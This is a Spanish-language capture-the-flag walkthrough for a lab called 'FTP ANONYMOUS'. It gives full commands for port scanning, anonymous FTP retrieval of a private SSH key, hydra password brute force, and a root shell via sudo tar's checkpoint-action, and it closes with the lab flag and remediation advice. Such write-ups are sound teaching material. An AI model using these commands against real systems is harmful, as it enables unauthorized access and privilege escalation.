âš SPOILER — Lee esto solo después de intentar resolver el laboratorio âš
Laboratorio
FTP ANONYMOUS
Dificultad
★★★★☆ DifÃcil (4 pts)
Servicios
FTP :21 · SSH :2222
Vectores
FTP anon → SSH key → sudo tar
Flujo de ataque
01nmap → descubrir FTP (21) y SSH (2222)
↓
02FTP anónimo → descargar id_rsa y README.txt
↓
03README revela usuario "peter" → ssh -i id_rsa peter@IP
↓
04sudo -l → peter puede usar /bin/tar con contraseña
↓
05hydra bruteforce → "parker" → sudo tar GTFOBins → root → flag.txt
Solución paso a paso
1
Reconocimiento con nmap
Escaneamos todos los puertos del objetivo:
nmap -sV -p- --min-rate 5000 <LAB_IP>
# Output esperado:
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
2222/tcp open ssh OpenSSH 7.9p1 Debian
Usa siempre
-p- para escanear todos los puertos. Muchos servicios se ocultan en puertos no estándar y un escaneo por defecto solo cubre los 1000 más comunes.2
FTP anónimo — descarga de ficheros
Intentamos acceso anónimo al FTP:
ftp <LAB_IP> # Usuario: anonymous # Password: (enter vacÃo) ftp> ls ftp> cd pub ftp> ls # README.txt id_rsa ftp> get README.txt ftp> get id_rsa ftp> bye
Si el FTP se cuelga en el
ls, prueba el modo pasivo: ftp -p <LAB_IP> o usa lftp que gestiona el modo pasivo automáticamente.3
Acceso SSH con clave privada
Leemos el README descargado:
cat README.txt
Backup de clave SSH del usuario peter.
Conocemos el usuario. Usamos la clave privada para conectarnos:
chmod 600 id_rsa ssh -i id_rsa peter@<LAB_IP> -p 2222
Tenemos shell como peter.
SSH rechazará la clave si los permisos son demasiado abiertos. El
chmod 600 es obligatorio — la clave debe ser legible solo por el propietario.4
Enumeración de sudo
Comprobamos qué puede ejecutar peter con sudo:
sudo -l
User peter may run the following commands:
(root) /bin/tar
Peter puede ejecutar tar como root pero necesita su contraseña. El SSH tiene autenticación por contraseña habilitada — la atacamos con hydra desde Kali:
En hydra,
-p (minúscula) significa "una sola contraseña", no "puerto". El puerto se especifica dentro de la URL: ssh://host:puertohydra -l peter -P /usr/share/wordlists/rockyou.txt ssh://<LAB_IP>:2222 -t 64
[2222][ssh] login: peter password: parker
5
Escalada a root — sudo tar
En GTFOBins — tar buscamos la sección Shell → pestaña Sudo. El comando que muestra es:
tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
El comando adaptado a nuestro caso
sudo /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
¿Por qué difiere del comando de GTFOBins?
| GTFOBins | Nuestro comando | Por qué |
|---|---|---|
tar |
sudo /bin/tar |
Necesitamos ejecutar como root vÃa sudo. La ruta completa /bin/tar debe coincidir exactamente con la entrada de sudoers — si escribes solo tar puede resolverse a otra ruta y ser denegado |
cf |
-cf |
Son equivalentes. GNU tar acepta opciones en formato POSIX tradicional (cf, sin guión) y en formato GNU (-cf, con guión). GTFOBins usa el estilo tradicional; ambos funcionan igual |
Por qué funciona — desglose
sudo /bin/tar |
Ejecuta tar como root gracias a la regla de sudoers |
-cf /dev/null /dev/null |
Crea un archivo tar vacÃo en /dev/null — solo para que tar arranque; el resultado se descarta |
--checkpoint=1 |
Activa un checkpoint después de procesar cada 1 registro |
--checkpoint-action=exec=/bin/sh |
En cada checkpoint ejecuta /bin/sh — como tar corre como root, la shell se abre como root |
# Introducimos la contraseña cuando nos la pida: # [sudo] password for peter: parker whoami root
6
Captura de la flag
cat /root/flag.txt
Flag
GhostLabs{ftp_an0n_2_ssh_k3y_2_sud0_t4r_0wn3d}
Remediación
# 1 — Deshabilitar FTP anónimo en vsftpd.conf anonymous_enable=NO # 2 — Nunca almacenar claves SSH privadas en FTP # Las claves privadas deben estar solo en el equipo del usuario # 3 — Revisar /etc/sudoers — no dar sudo a tar, awk, less, etc. # Usar visudo y aplicar mÃnimo privilegio # Si es necesario, restringir los argumentos: peter ALL=(root) NOPASSWD: /usr/bin/tar --backup # 4 — Auditar periódicamente los permisos sudo sudo -l -U peter